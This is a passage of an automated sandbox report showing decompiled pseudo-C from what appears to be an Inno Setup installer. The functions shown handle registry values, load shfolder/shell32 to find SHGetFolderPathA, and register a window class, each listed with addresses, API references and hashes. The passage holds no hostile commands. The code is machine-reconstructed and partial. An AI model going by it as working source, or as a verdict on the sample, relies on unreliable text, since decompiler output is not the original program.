                                                          									if(( *(_v56 + 0x3f) & 0x00000080) == 0 ||  *((char*)(_v56 + 0x3e)) != 0) {
                                                          										_t519 = _v36;
                                                          										E0046B070(_v37, _t511, _v36,  *((intOrPtr*)(_v56 + 0x38)), _t581, _t582,  *((short*)(_v56 + 0x3c)));
                                                          										_t324 = _v56;
                                                          										__eflags =  *(_t324 + 0x40) & 0x00000002;
                                                          										if(( *(_t324 + 0x40) & 0x00000002) != 0) {
                                                          											_t325 = _v56;
                                                          											__eflags =  *((char*)(_t325 + 0x3e));
                                                          											if( *((char*)(_t325 + 0x3e)) == 0) {
                                                          												_t511 = 2;
                                                          											} else {
                                                          												_t519 = E00403880(_v36);
                                                          												_t511 = E0042DD88(_v37, _t465,  *((intOrPtr*)(_v56 + 0x38)),  &_v8, 3, 0);
                                                          												__eflags = _t511;
                                                          												if(_t511 != 0) {
                                                          													__eflags = _t511 - 2;
                                                          													if(_t511 != 2) {
                                                          														__eflags =  *(_v56 + 0x40) & 0x00000001;
                                                          														if(__eflags == 0) {
                                                          															_t519 = _v36;
                                                          															E0046755C(2, _t511, _v36,  *((intOrPtr*)(_v56 + 0x38)), _t581, _t582, __eflags, _t511);
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t519 = E00403880(_v36);
                                                          											_t479 = E0042DD50(_v37, _t476,  *((intOrPtr*)(_v56 + 0x38)),  &_v12,  &_v8, 0, 3, 0, 0, 0); // executed
                                                          											_t511 = _t479;
                                                          											__eflags = _t511;
                                                          											if(_t511 != 0) {
                                                          												__eflags =  *(_v56 + 0x40) & 0x00000001;
                                                          												if(__eflags == 0) {
                                                          													_t519 = _v36;
                                                          													E0046755C(1, _t511, _v36,  *((intOrPtr*)(_v56 + 0x38)), _t581, _t582, __eflags, _t511);
                                                          												}
                                                          											} else {
                                                          												__eflags = _v12 - 1;
                                                          												if(_v12 == 1) {
                                                          													_t519 = _v36;
                                                          													E0046B070(_v37, _t511, _v36,  *((intOrPtr*)(_v56 + 0x38)), _t581, _t582,  *((short*)(_v56 + 0x3c)));
                                                          												}
                                                          											}
                                                          										}
                                                          										__eflags = _t511;
                                                          										if(__eflags != 0) {
                                                          											goto L71;
                                                          										} else {
                                                          											_push(_t584);
                                                          											_push(0x46b6fa);
                                                          											_push( *[fs:edx]);
                                                          											 *[fs:edx] = _t586;
                                                          											_t368 = _v56;
                                                          											__eflags =  *(_t368 + 0x3f) & 0x00000080;
                                                          											if(( *(_t368 + 0x3f) & 0x00000080) != 0) {
                                                          												_push(E00403880(_v16));
                                                          												_push(_v8);
                                                          												L004058FC();
                                                          											}
                                                          											_t369 = _v56;
                                                          											__eflags =  *((char*)(_t369 + 0x3e));
                                                          											if( *((char*)(_t369 + 0x3e)) != 0) {
                                                          												_t373 = _v56;
                                                          												__eflags =  *(_t373 + 0x3f) & 0x00000001;
                                                          												if(( *(_t373 + 0x3f) & 0x00000001) == 0) {
                                                          													L36:
                                                          													_t375 =  *((intOrPtr*)(_v56 + 0x3e));
                                                          													_t555 = _t375 - 0xffffffffffffffff;
                                                          													__eflags = _t555;
                                                          													if(__eflags < 0) {
                                                          														L40:
                                                          														_t512 = 1;
                                                          														_t557 = _t375 - 2;
                                                          														__eflags = _t557;
                                                          														if(_t557 == 0) {
                                                          															_t512 = 2;
                                                          														} else {
                                                          															__eflags = _t557 == 3;
                                                          															if(_t557 == 3) {
                                                          																_t512 = 7;
                                                          															}
                                                          														}
                                                          														__eflags = _t375 - 5;
                                                          														if(_t375 == 5) {
                                                          															_t378 = E004039A4("{olddata}",  *((intOrPtr*)(_v56 + 8)));
                                                          															__eflags = _t378;
                                                          															if(_t378 == 0) {
                                                          																L57:
                                                          																E00403548( &_v24);
                                                          															} else {
                                                          																E00403880(_v16);
                                                          																_t408 = E0042DCC4();
                                                          																__eflags = _t408;
                                                          																if(_t408 == 0) {
                                                          																	goto L57;
                                                          																}
                                                          															}
                                                          															_v80 = "olddata";
                                                          															_v76 = _v24;
                                                          															_v72 = 0x46b8e8;
                                                          															_v68 = 0x46b8f8;
                                                          															E00471818( *((intOrPtr*)(_v56 + 8)), _t512, 3,  &_v80, _t581, _t582, _t609,  &_v20);
                                                          															__eflags = _v20;
                                                          															if(_v20 != 0) {
                                                          																_t402 = E004036BC(_v20);
                                                          																_t561 = _v20;
                                                          																__eflags =  *((char*)(_t561 + _t402 - 1));
                                                          																if( *((char*)(_t561 + _t402 - 1)) != 0) {
                                                          																	E004036C4( &_v20, 0x46b8f8);
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t411 = E004039A4("{olddata}",  *((intOrPtr*)(_v56 + 8)));
                                                          															__eflags = _t411;
                                                          															if(_t411 == 0) {
                                                          																L48:
                                                          																E00403548( &_v24);
                                                          															} else {
                                                          																E00403880(_v16);
                                                          																_t429 = E0042DCB8();
                                                          																__eflags = _t429;
                                                          																if(_t429 == 0) {
                                                          																	goto L48;
                                                          																}
                                                          															}
                                                          															_t414 = _v56;
                                                          															__eflags =  *(_t414 + 0x3f) & 0x00000020;
                                                          															if(( *(_t414 + 0x3f) & 0x00000020) != 0) {
                                                          																_t425 = RegQueryValueExA(_v8, E00403880(_v16), 0,  &_v28, 0, 0);
                                                          																__eflags = _t425;
                                                          																if(_t425 == 0) {
                                                          																	__eflags = _v28 - 1;
                                                          																	if(_v28 == 1) {
                                                          																		L53:
                                                          																		_t512 = _v28;
                                                          																	} else {
                                                          																		__eflags = _v28 - 2;
                                                          																		if(_v28 == 2) {
                                                          																			goto L53;
                                                          																		}
                                                          																	}
                                                          																}
                                                          															}
                                                          															_v64 = "olddata";
                                                          															_v60 = _v24;
                                                          															E00471818( *((intOrPtr*)(_v56 + 8)), _t512, 1,  &_v64, _t581, _t582, _t609,  &_v20);
                                                          														}
                                                          														_push(E004036BC(_v20) + 1);
                                                          														_push(E00403880(_v20));
                                                          														_push(_t512);
                                                          														_push(0);
                                                          														_push(E00403880(_v16));
                                                          														_t396 = _v8;
                                                          														_push(_t396); // executed
                                                          														L00405934(); // executed
                                                          														_t513 = _t396;
                                                          														__eflags = _t513;
                                                          														if(_t513 != 0) {
                                                          															__eflags =  *(_v56 + 0x40) & 0x00000001;
                                                          															if(__eflags == 0) {
                                                          																E0046755C(0, _t513, _v36,  *((intOrPtr*)(_v56 + 0x38)), _t581, _t582, __eflags, _t513);
                                                          															}
                                                          														}
                                                          													} else {
                                                          														if(__eflags == 0) {
                                                          															E004717F8( *((intOrPtr*)(_v56 + 8)), _t519,  &_v84);
                                                          															_v32 = E00406E34(_v84, _t519);
                                                          															_push(4);
                                                          															_push( &_v32);
                                                          															_push(4);
                                                          															_push(0);
                                                          															_push(E00403880(_v16));
                                                          															_t438 = _v8;
                                                          															_push(_t438);
                                                          															L00405934();
                                                          															_t514 = _t438;
                                                          															__eflags = _t514;
                                                          															if(_t514 != 0) {
                                                          																__eflags =  *(_v56 + 0x40) & 0x00000001;
                                                          																if(__eflags == 0) {
                                                          																	E0046755C(0, _t514, _v36,  *((intOrPtr*)(_v56 + 0x38)), _t581, _t582, __eflags, _t514);
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t570 = _t555 - 1;
                                                          															__eflags = _t570;
                                                          															if(_t570 == 0) {
                                                          																_push(E004036BC( *((intOrPtr*)(_v56 + 8))));
                                                          																_push(E00403880( *((intOrPtr*)(_v56 + 8))));
                                                          																_push(3);
                                                          																_push(0);
                                                          																_push(E00403880(_v16));
                                                          																_t451 = _v8;
                                                          																_push(_t451);
                                                          																L00405934();
                                                          																_t515 = _t451;
                                                          																__eflags = _t515;
                                                          																if(_t515 != 0) {
                                                          																	_t452 = _v56;
                                                          																	__eflags =  *(_t452 + 0x40) & 0x00000001;
                                                          																	if(( *(_t452 + 0x40) & 0x00000001) == 0) {
                                                          																		__eflags = 0;
                                                          																		E0046755C(0, _t515, _v36,  *((intOrPtr*)(_v56 + 0x38)), _t581, _t582, 0, _t515);
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																__eflags = _t570 == 1;
                                                          																if(_t570 == 1) {
                                                          																	goto L40;
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													_t459 = E0042DCD0(_v8, E00403880(_v16));
                                                          													__eflags = _t459;
                                                          													if(_t459 == 0) {
                                                          														goto L36;
                                                          													}
                                                          												}
                                                          											}
                                                          											__eflags = 0;
                                                          											_pop(_t552);
                                                          											 *[fs:eax] = _t552;
                                                          											_push(0x46b701);
                                                          											return RegCloseKey(_v8);
                                                          										}
                                                          									} else {
                                                          										if(E0042DD88(_v37, E00403880(_v36),  *((intOrPtr*)(_v56 + 0x38)),  &_v8, 2, 0) == 0) {
                                                          											_push(E00403880(_v16));
                                                          											_push(_v8);
                                                          											L004058FC();
                                                          											RegCloseKey(_v8);
                                                          										}
                                                          										goto L71;
                                                          									}
                                                          								} else {
                                                          									goto L71;
                                                          								}
                                                          								goto L86;
                                                          								L71:
                                                          								_pop(_t546);
                                                          								 *[fs:eax] = _t546;
                                                          							} while (_v45 != 0);
                                                          							if(( *(_v56 + 0x3f) & 0x00000008) != 0 && E0046B04C(_v36) != 0) {
                                                          								_v88 = _v36;
                                                          								E00457078( *((intOrPtr*)(_a4 - 4)), _v37, 0,  &_v88,  *((intOrPtr*)(_v56 + 0x38)));
                                                          							}
                                                          							if(( *(_v56 + 0x3f) & 0x00000010) != 0 && E0046B04C(_v36) != 0) {
                                                          								_v88 = _v36;
                                                          								E00457078( *((intOrPtr*)(_a4 - 4)), _v37, 0,  &_v88,  *((intOrPtr*)(_v56 + 0x38)));
                                                          							}
                                                          							if(( *(_v56 + 0x3f) & 0x00000002) != 0) {
                                                          								_v64 = _v36;
                                                          								_v60 = _v16;
                                                          								E00457078( *((intOrPtr*)(_a4 - 4)), _v37, 1,  &_v64,  *((intOrPtr*)(_v56 + 0x38)));
                                                          							}
                                                          							if(( *(_v56 + 0x3f) & 0x00000004) != 0) {
                                                          								_v64 = _v36;
                                                          								_v60 = _v16;
                                                          								E00457078( *((intOrPtr*)(_a4 - 4)), _v37, 1,  &_v64,  *((intOrPtr*)(_v56 + 0x38)));
                                                          							}
                                                          							E0046EF24();
                                                          						}
                                                          						goto L84;
                                                          						L84:
                                                          						_v44 =  &(_v44[0]);
                                                          						_t271 =  &_v52;
                                                          						 *_t271 = _v52 - 1;
                                                          						_t607 =  *_t271;
                                                          					} while ( *_t271 != 0);
                                                          					goto L85;
                                                          				}
                                                          				L86:
                                                          			}
































































                                                          0x0046b194
                                                          0x0046b194
                                                          0x0046b194
                                                          0x0046b195
                                                          0x0046b197
                                                          0x0046b19a
                                                          0x0046b19b
                                                          0x0046b19c
                                                          0x0046b19f
                                                          0x0046b1a2
                                                          0x0046b1a5
                                                          0x0046b1a8
                                                          0x0046b1ab
                                                          0x0046b1b0
                                                          0x0046b1b1
                                                          0x0046b1b6
                                                          0x0046b1b9
                                                          0x0046b1bc
                                                          0x0046b1c4
                                                          0x0046b1c7
                                                          0x0046b830
                                                          0x0046b835
                                                          0x0046b83c
                                                          0x0046b83f
                                                          0x0046b842
                                                          0x0046b84a
                                                          0x0046b852
                                                          0x0046b864
                                                          0x0046b1cd
                                                          0x0046b1ce
                                                          0x0046b1d1
                                                          0x0046b1d8
                                                          0x0046b1db
                                                          0x0046b1e5
                                                          0x0046b200
                                                          0x0046b203
                                                          0x0046b209
                                                          0x0046b215
                                                          0x0046b220
                                                          0x0046b22b
                                                          0x0046b238
                                                          0x0046b246
                                                          0x0046b24b
                                                          0x0046b250
                                                          0x0046b25a
                                                          0x0046b25c
                                                          0x0046b25c
                                                          0x0046b267
                                                          0x0046b269
                                                          0x0046b270
                                                          0x0046b277
                                                          0x0046b277
                                                          0x0046b27c
                                                          0x0046b27c
                                                          0x0046b280
                                                          0x0046b280
                                                          0x0046b286
                                                          0x0046b287
                                                          0x0046b28c
                                                          0x0046b28f
                                                          0x0046b299
                                                          0x0046b2ba
                                                          0x0046b2ba
                                                          0x0046b2c6
                                                          0x0046b2dc
                                                          0x0046b337
                                                          0x0046b343
                                                          0x0046b348
                                                          0x0046b34b
                                                          0x0046b34f
                                                          0x0046b3c2
                                                          0x0046b3c5
                                                          0x0046b3c9
                                                          0x0046b412
                                                          0x0046b3cb
                                                          0x0046b3db
                                                          0x0046b3eb
                                                          0x0046b3ed
                                                          0x0046b3ef
                                                          0x0046b3f1
                                                          0x0046b3f4
                                                          0x0046b3f9
                                                          0x0046b3fd
                                                          0x0046b400
                                                          0x0046b40b
                                                          0x0046b40b
                                                          0x0046b3fd
                                                          0x0046b3f4
                                                          0x0046b3ef
                                                          0x0046b351
                                                          0x0046b36b
                                                          0x0046b376
                                                          0x0046b37b
                                                          0x0046b37d
                                                          0x0046b37f
                                                          0x0046b3a9
                                                          0x0046b3ad
                                                          0x0046b3b0
                                                          0x0046b3bb
                                                          0x0046b3bb
                                                          0x0046b381
                                                          0x0046b381
                                                          0x0046b385
                                                          0x0046b393
                                                          0x0046b39f
                                                          0x0046b39f
                                                          0x0046b385
                                                          0x0046b37f
                                                          0x0046b417
                                                          0x0046b419
                                                          0x00000000
                                                          0x0046b41f
                                                          0x0046b421
                                                          0x0046b422
                                                          0x0046b427
                                                          0x0046b42a
                                                          0x0046b42d
                                                          0x0046b430
                                                          0x0046b434
                                                          0x0046b43e
                                                          0x0046b442
                                                          0x0046b443
                                                          0x0046b443
                                                          0x0046b448
                                                          0x0046b44b
                                                          0x0046b44f
                                                          0x0046b455
                                                          0x0046b458
                                                          0x0046b45c
                                                          0x0046b478
                                                          0x0046b47b
                                                          0x0046b481
                                                          0x0046b481
                                                          0x0046b484
                                                          0x0046b49c
                                                          0x0046b49c
                                                          0x0046b4a3
                                                          0x0046b4a3
                                                          0x0046b4a6
                                                          0x0046b4af
                                                          0x0046b4a8
                                                          0x0046b4a8
                                                          0x0046b4ab
                                                          0x0046b4b6
                                                          0x0046b4b6
                                                          0x0046b4ab
                                                          0x0046b4bb
                                                          0x0046b4bd
                                                          0x0046b565
                                                          0x0046b56a
                                                          0x0046b56c
                                                          0x0046b587
                                                          0x0046b58a
                                                          0x0046b56e
                                                          0x0046b571
                                                          0x0046b57e
                                                          0x0046b583
                                                          0x0046b585
                                                          0x00000000
                                                          0x00000000
                                                          0x0046b585
                                                          0x0046b598
                                                          0x0046b59e
                                                          0x0046b5a6
                                                          0x0046b5ae
                                                          0x0046b5bf
                                                          0x0046b5c4
                                                          0x0046b5c8
                                                          0x0046b5cd
                                                          0x0046b5d2
                                                          0x0046b5d5
                                                          0x0046b5da
                                                          0x0046b5e4
                                                          0x0046b5e4
                                                          0x0046b5da
                                                          0x0046b4c3
                                                          0x0046b4ce
                                                          0x0046b4d3
                                                          0x0046b4d5
                                                          0x0046b4f0
                                                          0x0046b4f3
                                                          0x0046b4d7
                                                          0x0046b4da
                                                          0x0046b4e7
                                                          0x0046b4ec
                                                          0x0046b4ee
                                                          0x00000000
                                                          0x00000000
                                                          0x0046b4ee
                                                          0x0046b4f8
                                                          0x0046b4fb
                                                          0x0046b4ff
                                                          0x0046b518
                                                          0x0046b51d
                                                          0x0046b51f
                                                          0x0046b521
                                                          0x0046b525
                                                          0x0046b52d
                                                          0x0046b52d
                                                          0x0046b527
                                                          0x0046b527
                                                          0x0046b52b
                                                          0x00000000
                                                          0x00000000
                                                          0x0046b52b
                                                          0x0046b525
                                                          0x0046b51f
                                                          0x0046b539
                                                          0x0046b53f
                                                          0x0046b550
                                                          0x0046b550
                                                          0x0046b5f2
                                                          0x0046b5fb
                                                          0x0046b5fc
                                                          0x0046b5fd
                                                          0x0046b607
                                                          0x0046b608
                                                          0x0046b60b
                                                          0x0046b60c
                                                          0x0046b611
                                                          0x0046b613
                                                          0x0046b615
                                                          0x0046b61e
                                                          0x0046b622
                                                          0x0046b634
                                                          0x0046b634
                                                          0x0046b622
                                                          0x0046b486
                                                          0x0046b486
                                                          0x0046b647
                                                          0x0046b654
                                                          0x0046b657
                                                          0x0046b65c
                                                          0x0046b65d
                                                          0x0046b65f
                                                          0x0046b669
                                                          0x0046b66a
                                                          0x0046b66d
                                                          0x0046b66e
                                                          0x0046b673
                                                          0x0046b675
                                                          0x0046b677
                                                          0x0046b67c
                                                          0x0046b680
                                                          0x0046b68e
                                                          0x0046b68e
                                                          0x0046b680
                                                          0x0046b48c
                                                          0x0046b48c
                                                          0x0046b48c
                                                          0x0046b48e
                                                          0x0046b6a0
                                                          0x0046b6ac
                                                          0x0046b6ad
                                                          0x0046b6af
                                                          0x0046b6b9
                                                          0x0046b6ba
                                                          0x0046b6bd
                                                          0x0046b6be
                                                          0x0046b6c3
                                                          0x0046b6c5
                                                          0x0046b6c7
                                                          0x0046b6c9
                                                          0x0046b6cc
                                                          0x0046b6d0
                                                          0x0046b6dc
                                                          0x0046b6de
                                                          0x0046b6de
                                                          0x0046b6d0
                                                          0x0046b494
                                                          0x0046b494
                                                          0x0046b496
                                                          0x00000000
                                                          0x00000000
                                                          0x0046b496
                                                          0x0046b48e
                                                          0x0046b486
                                                          0x0046b45e
                                                          0x0046b46b
                                                          0x0046b470
                                                          0x0046b472
                                                          0x00000000
                                                          0x00000000
                                                          0x0046b472
                                                          0x0046b45c
                                                          0x0046b6e3
                                                          0x0046b6e5
                                                          0x0046b6e8
                                                          0x0046b6eb
                                                          0x0046b6f9
                                                          0x0046b6f9
                                                          0x0046b2e7
                                                          0x0046b309
                                                          0x0046b317
                                                          0x0046b31b
                                                          0x0046b31c
                                                          0x0046b325
                                                          0x0046b325
                                                          0x00000000
                                                          0x0046b309
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0046b701
                                                          0x0046b703
                                                          0x0046b706
                                                          0x0046b733
                                                          0x0046b744
                                                          0x0046b75c
                                                          0x0046b772
                                                          0x0046b772
                                                          0x0046b77e
                                                          0x0046b796
                                                          0x0046b7ac
                                                          0x0046b7ac
                                                          0x0046b7b8
                                                          0x0046b7c4
                                                          0x0046b7ca
                                                          0x0046b7e0
                                                          0x0046b7e0
                                                          0x0046b7ec
                                                          0x0046b7f8
                                                          0x0046b7fe
                                                          0x0046b814
                                                          0x0046b814
                                                          0x0046b81f
                                                          0x0046b81f
                                                          0x00000000
                                                          0x0046b824
                                                          0x0046b824
                                                          0x0046b827
                                                          0x0046b827
                                                          0x0046b827
                                                          0x0046b827
                                                          0x00000000
                                                          0x0046b1d8
                                                          0x00000000

                                                          APIs
                                                          • 6CAA6690.ADVAPI32(?,00000000,?,00000002,00000000,00000000,0046B70B,?,?,?,?,00000000,0046B865,?,?,00000001), ref: 0046B31C
                                                          • RegCloseKey.ADVAPI32(?,?,00000000,?,00000002,00000000,00000000,0046B70B,?,?,?,?,00000000,0046B865,?,?), ref: 0046B325
                                                          • 6CAA6690.ADVAPI32(?,00000000,00000000,0046B6FA,?,?,00000000,0046B70B,?,?,?,?,00000000,0046B865,?,?), ref: 0046B443
                                                            • Part of subcall function 0042DD50: 6CAA64E0.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DD7C
                                                          • RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,0046B6FA,?,?,00000000,0046B70B,?,?,?,?), ref: 0046B518
                                                          • 6CAA68C0.ADVAPI32(?,00000000,00000000,00000002,00000000,00000001,?,00000000,0046B6FA,?,?,00000000,0046B70B,?,?,?), ref: 0046B60C
                                                          • 6CAA68C0.ADVAPI32(?,00000000,00000000,00000004,?,00000004,00000000,0046B6FA,?,?,00000000,0046B70B,?,?,?,?), ref: 0046B66E
                                                          • 6CAA68C0.ADVAPI32(?,00000000,00000000,00000003,00000000,00000000,00000000,0046B6FA,?,?,00000000,0046B70B,?,?,?,?), ref: 0046B6BE
                                                          • RegCloseKey.ADVAPI32(?,0046B701,?,00000000,0046B70B,?,?,?,?,00000000,0046B865,?,?,00000001,004AE064), ref: 0046B6F4
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6690Close$QueryValue
                                                          • String ID: Cannot access 64-bit registry keys on this version of Windows$break$dJ$olddata${olddata}
                                                          • API String ID: 741459602-3083077437
                                                          • Opcode ID: d992d7919b99ce34bf5de79344e5a8bf2ba076acaf4423398c5f2fa2490bb6e1
                                                          • Instruction ID: 01694e1ff285958ebf4f6257c4e02e8b26cc028325eb5f9c98dca4764fc6d455
                                                          • Opcode Fuzzy Hash: d992d7919b99ce34bf5de79344e5a8bf2ba076acaf4423398c5f2fa2490bb6e1
                                                          • Instruction Fuzzy Hash: 70222D74A05248AFDB11DB99D985B9EB7F9EF08304F104066F804EB3A2D738AD45CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1930 472110-472166 call 42c614 call 403708 call 471f04 call 45130c 1939 472172-472181 call 45130c 1930->1939 1940 472168-47216d call 451afc 1930->1940 1944 472183-472189 1939->1944 1945 47219b-4721a1 1939->1945 1940->1939 1946 4721ab-4721b3 call 4035dc 1944->1946 1947 47218b-472191 1944->1947 1948 4721a3-4721a9 1945->1948 1949 4721b8-4721cf call 42e324 * 2 1945->1949 1946->1949 1947->1945 1952 472193-472199 1947->1952 1948->1946 1948->1949 1955 4721d4-4721e0 1949->1955 1952->1945 1952->1946 1956 472207-472221 6CAA5550 1955->1956 1957 4721e2-472202 call 407b08 call 451afc 1955->1957 1959 472223-472228 call 451afc 1956->1959 1960 47222d-47224a call 403548 * 2 1956->1960 1957->1956 1959->1960
                                                          C-Code - Quality: 73%
                                                          			E00472110(void* __ebx, void* __edi, void* __esi, void* __eflags) {
                                                          				char _v8;
                                                          				intOrPtr _v12;
                                                          				char _v16;
                                                          				intOrPtr _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				char _v36;
                                                          				intOrPtr _t32;
                                                          				void* _t39;
                                                          				intOrPtr _t46;
                                                          				intOrPtr _t47;
                                                          				intOrPtr _t70;
                                                          				intOrPtr _t82;
                                                          				void* _t89;
                                                          				void* _t91;
                                                          
                                                          				_t91 = __eflags;
                                                          				_t86 = __esi;
                                                          				_t85 = __edi;
                                                          				_t69 = __ebx;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v28 = 0;
                                                          				_v8 = 0;
                                                          				_push(_t89);
                                                          				_push(0x47224b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t89 + 0xffffffe0;
                                                          				_t32 =  *0x4ae018; // 0x21edbf0
                                                          				E0042C614(_t32,  &_v28);
                                                          				E00403708( &_v8, "_isetup\\_shfoldr.dll", _v28);
                                                          				E00471F04("SHFOLDERDLL", __ebx, _v8, __edi, __esi, _t91); // executed
                                                          				_t39 = E0045130C( &_v24);
                                                          				_t92 = _t39;
                                                          				if(_t39 == 0) {
                                                          					E00451AFC("Failed to get version numbers of _shfoldr.dll", _t69, _t85, _t86, _t92);
                                                          				}
                                                          				if(E0045130C( &_v16) == 0 || _v16 <= _v24 && (_v16 != _v24 || _v12 <= _v20)) {
                                                          					if(_v16 == _v24 && _v12 == _v20) {
                                                          						goto L8;
                                                          					}
                                                          				} else {
                                                          					L8:
                                                          					E004035DC( &_v8, "shfolder.dll");
                                                          				}
                                                          				E0042E324("shell32.dll", _t69, 0x8000); // executed
                                                          				_t46 = E0042E324(_v8, _t69, 0x8000); // executed
                                                          				 *0x4ae30c = _t46;
                                                          				if( *0x4ae30c == 0) {
                                                          					_v36 = _v8;
                                                          					_v32 = 0xb;
                                                          					E00407B08("Failed to load DLL \"%s\"", 0,  &_v36,  &_v28);
                                                          					E00451AFC(_v28, _t69, _t85, _t86, 0);
                                                          				}
                                                          				_push("SHGetFolderPathA");
                                                          				_t47 =  *0x4ae30c; // 0x73930000
                                                          				_push(_t47);
                                                          				L00405AA4();
                                                          				_t70 = _t47;
                                                          				 *0x4ae310 = _t70;
                                                          				_t101 = _t70;
                                                          				if(_t70 == 0) {
                                                          					E00451AFC("Failed to get address of SHGetFolderPathA function", _t70, _t85, _t86, _t101);
                                                          				}
                                                          				_pop(_t82);
                                                          				 *[fs:eax] = _t82;
                                                          				_push(E00472252);
                                                          				E00403548( &_v28);
                                                          				return E00403548( &_v8);
                                                          			}



















                                                          0x00472110
                                                          0x00472110
                                                          0x00472110
                                                          0x00472110
                                                          0x00472116
                                                          0x00472117
                                                          0x00472118
                                                          0x0047211b
                                                          0x0047211e
                                                          0x00472123
                                                          0x00472124
                                                          0x00472129
                                                          0x0047212c
                                                          0x00472132
                                                          0x00472137
                                                          0x00472147
                                                          0x00472154
                                                          0x0047215f
                                                          0x00472164
                                                          0x00472166
                                                          0x0047216d
                                                          0x0047216d
                                                          0x00472181
                                                          0x004721a1
                                                          0x00000000
                                                          0x00000000
                                                          0x004721ab
                                                          0x004721ab
                                                          0x004721b3
                                                          0x004721b3
                                                          0x004721c2
                                                          0x004721cf
                                                          0x004721d4
                                                          0x004721e0
                                                          0x004721e9
                                                          0x004721ec
                                                          0x004721fa
                                                          0x00472202
                                                          0x00472202
                                                          0x00472207
                                                          0x0047220c
                                                          0x00472211
                                                          0x00472212
                                                          0x00472217
                                                          0x00472219
                                                          0x0047221f
                                                          0x00472221
                                                          0x00472228
                                                          0x00472228
                                                          0x0047222f
                                                          0x00472232
                                                          0x00472235
                                                          0x0047223d
                                                          0x0047224a

                                                          APIs
                                                          • 6CAA5550.KERNEL32(73930000,SHGetFolderPathA,00000000,0047224B), ref: 00472212
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550
                                                          • String ID: Failed to get address of SHGetFolderPathA function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$_isetup\_shfoldr.dll$shell32.dll$shfolder.dll
                                                          • API String ID: 3255589654-1072092678
                                                          • Opcode ID: b2057ff779a8762d3f6688f2d2d644b6ca0b9fdb815c64315f38aa6c4da74f5d
                                                          • Instruction ID: 4d659d619a20f97824347212721512af1cb6d97414f9a3320b65cb76e677aa76
                                                          • Opcode Fuzzy Hash: b2057ff779a8762d3f6688f2d2d644b6ca0b9fdb815c64315f38aa6c4da74f5d
                                                          • Instruction Fuzzy Hash: 73311E34A001099BDF10EB96DA819DEBBF4EB45304F90C9A6E904E7252D7B8AE05CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 2573 423a8c-423a96 2574 423bbf-423bc3 2573->2574 2575 423a9c-423abe call 41f5dc GetClassInfoA 2573->2575 2578 423ac0-423ad7 RegisterClassA 2575->2578 2579 423aef-423af8 GetSystemMetrics 2575->2579 2578->2579 2580 423ad9-423aea call 408ea0 call 403264 2578->2580 2581 423afa 2579->2581 2582 423afd-423b07 GetSystemMetrics 2579->2582 2580->2579 2581->2582 2584 423b09 2582->2584 2585 423b0c-423b68 call 403880 call 4063fc call 403548 call 423864 SetWindowLongA 2582->2585 2584->2585 2596 423b82-423bb0 GetSystemMenu DeleteMenu * 2 2585->2596 2597 423b6a-423b7d call 424390 SendMessageA 2585->2597 2596->2574 2599 423bb2-423bba DeleteMenu 2596->2599 2597->2596 2599->2574
                                                          C-Code - Quality: 56%
                                                          			E00423A8C(int __eax, void* __edi, void* __esi) {
                                                          				void* __ebx;
                                                          				int _t12;
                                                          				long _t13;
                                                          				CHAR* _t14;
                                                          				struct HINSTANCE__* _t15;
                                                          				signed int _t17;
                                                          				signed int _t18;
                                                          				signed int _t20;
                                                          				struct HINSTANCE__* _t21;
                                                          				void* _t23;
                                                          				CHAR* _t24;
                                                          				struct HWND__* _t25;
                                                          				long _t38;
                                                          				struct HINSTANCE__* _t41;
                                                          				int _t45;
                                                          				struct HMENU__* _t46;
                                                          				struct _WNDCLASSA* _t54;
                                                          				short _t57;
                                                          
                                                          				_t12 = __eax;
                                                          				_t45 = __eax;
                                                          				if( *((char*)(__eax + 0x7e)) != 0) {
                                                          					L12:
                                                          					return _t12;
                                                          				}
                                                          				_t13 = E0041F5DC(E00423E24, __eax); // executed
                                                          				 *(_t45 + 0x24) = _t13;
                                                          				_t14 =  *0x48c658; // 0x423894
                                                          				_t15 =  *0x48d014; // 0x400000
                                                          				if(GetClassInfoA(_t15, _t14, _t54) == 0) {
